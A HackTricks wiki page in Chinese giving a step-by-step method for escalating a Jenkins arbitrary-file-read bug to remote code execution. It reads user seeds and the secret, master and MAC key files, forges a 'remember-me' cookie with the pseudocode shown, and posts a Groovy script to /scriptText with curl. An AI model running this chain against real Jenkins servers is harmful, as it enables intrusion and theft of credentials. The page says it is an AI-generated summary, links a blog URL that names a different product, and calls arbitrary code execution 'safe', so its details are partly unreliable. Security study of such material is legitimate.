Jenkins Arbitrary File Read to RCE via “Remember Me”

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

在这篇博客文章中,可以找到将Jenkins中的本地文件包含漏洞转化为RCE的好方法:https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/

这是一个AI生成的摘要,关于如何利用任意cookie的构造来获取RCE,利用本地文件读取,直到我有时间自己创建摘要:

攻击前提

  • 功能要求: 必须启用“记住我”(默认设置)。
  • 访问级别: 攻击者需要整体/读取权限。
  • 秘密访问: 能够读取关键文件中的二进制和文本内容。

详细利用过程

第一步:数据收集

用户信息检索

  • 访问每个用户的用户配置和秘密,从$JENKINS_HOME/users/*.xml中收集:
  • 用户名
  • 用户种子
  • 时间戳
  • 密码哈希

密钥提取

  • 提取用于签名cookie的加密密钥:
  • 秘密密钥: $JENKINS_HOME/secret.key
  • 主密钥: $JENKINS_HOME/secrets/master.key
  • MAC密钥文件: $JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac

第二步:Cookie伪造

令牌准备

  • 计算令牌过期时间:
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // 将当前时间加一小时
  • 连接令牌数据:
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey

MAC密钥解密

  • 解密MAC密钥文件:
key = toAes128Key(masterKey)  // 将主密钥转换为AES128密钥格式
decrypted = AES.decrypt(macFile, key)  // 解密.mac文件
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")

签名计算

  • 计算HMAC SHA256:
mac = HmacSHA256(token, macKey) // 使用令牌和MAC密钥计算HMAC
tokenSignature = bytesToHexString(mac) // 将MAC转换为十六进制字符串

Cookie编码

  • 生成最终Cookie:
cookie = base64.encode(
username + ":" + tokenExpiryTime + ":" + tokenSignature
) // Base64编码cookie数据

第三步:代码执行

会话认证

  • 获取CSRF和会话令牌:
  • /crumbIssuer/api/json发送请求以获取Jenkins-Crumb
  • 从响应中捕获JSESSIONID,该ID将与记住我cookie一起使用。

命令执行请求

  • 发送带有Groovy脚本的POST请求:
curl -X POST "$JENKINS_URL/scriptText" \
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
--header "Jenkins-Crumb: $CRUMB" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "script=$SCRIPT"
  • Groovy脚本可用于在Jenkins环境中执行系统级命令或其他操作。

提供的示例curl命令演示了如何使用必要的头和cookie向Jenkins发送请求以安全地执行任意代码。

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks